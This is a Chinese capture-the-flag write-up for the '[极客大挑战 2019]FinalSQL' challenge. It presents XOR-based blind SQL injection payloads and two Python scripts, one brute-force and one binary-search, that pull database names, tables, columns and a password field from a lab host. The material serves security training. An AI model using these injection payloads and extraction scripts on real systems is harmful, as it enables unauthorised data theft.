zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]FinalSQL

    0x00 知识点

    盲注

    0x01 解题

    根据题目提示盲注,随便点几下找到注入点

    发现我们输入^符号成功跳转页面,证明存在注入

    1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
    ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称
    
    1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)
    where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名
    
    1^(ord(substr((select(group_concat(column_name))from(information_schema.column
    s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j))
    获取数据库列名
    

    获取flag:

    import requests
    url = "http://9c13f59b-720e-4c5a-9d63-69342c1be65a.node3.buuoj.cn/search.php"
    for i in range(1,20):
        for j in range(1,128):
            d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
            r = requests.get(url+d)
            if 'Click' in r.text:
                print(chr(j))
    

    这里再贴一个盲注脚本:

    #然后是二分法,二分法要快很多:
    # -*- coding: UTF-8 -*-
    import re
    import requests
    import string
     
    url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"
    flag = ''
    def payload(i,j):
        # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          
        # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
        # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
        sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
        data = {"id":sql}
        r = requests.get(url,params=data)
        # print (r.url)
        if "Click" in r.text:
            res = 1
        else:
            res = 0
     
        return res
     
    def exp():
        global flag
        for i in range(1,10000) :
            print(i,':')
            low = 31
            high = 127
            while low <= high :
                mid = (low + high) // 2
                res = payload(i,mid)
                if res :
                    low = mid + 1
                else :
                    high = mid - 1
            f = int((low + high + 1)) // 2
            if (f == 127 or f == 31):
                break
            # print (f)
            flag += chr(f)
            print(flag)
     
    exp()
    print('flag=',flag)
    

    参考链接
    http://www.pdsdt.lovepdsdt.com/index.php/2019/11/19/2019_geek_web/#0x20_Finalsql

    https://blog.csdn.net/qq_42967398/article/details/102979306

  • 相关阅读:
    ASP.NET WebApi 中使用swagger 构建在线帮助文档
    TortoiseSVN 分支创建与合并
    C# 图片处理
    使用Vue构建单页应用一
    使用nuget 打包并上传 nuget.org
    SignalR 教程二 服务端广播
    SignalR 教程一
    Visual Studio 中常用的快捷键
    EF for Mysql
    Advanced Plugin Concepts
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12305052.html
Copyright © 2011-2022 走看看